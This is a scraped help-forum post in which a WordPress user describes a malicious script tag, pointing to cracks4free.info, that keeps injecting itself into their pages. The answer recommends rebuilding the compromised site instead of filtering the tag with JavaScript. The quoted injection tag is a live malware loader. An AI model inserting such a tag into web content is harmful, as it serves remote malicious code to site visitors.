ajax - prevent malware javascript from executing -
i using wordpress site, , found malware script, whenever try save page , click on text panel in wysiwyg, malware javascript tag automatically added page. here script automatically added.
<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script> i tried remove src file following code. didn't work, script executes last before closing of body tag. tried using script, malware script loads after javascript loaded. here code.
<script type="text/javascript"> $("script[src='http://cracks4free.info/5/adds.js']").remove() </script> i need remove code, or prevent code executing through javasript, jquery, ajax anything.. want rid of this. thanks
if server has been compromised need rebuild it:
- export existing content
- rebuild box date wordpress version
- import content
- regularly apply security updates
trying use javascript clean content not solution. you've got compromised wordpress installation , it's matter of time before other script-kiddy adds own personal touches, or worse happens.
Comments
Post a Comment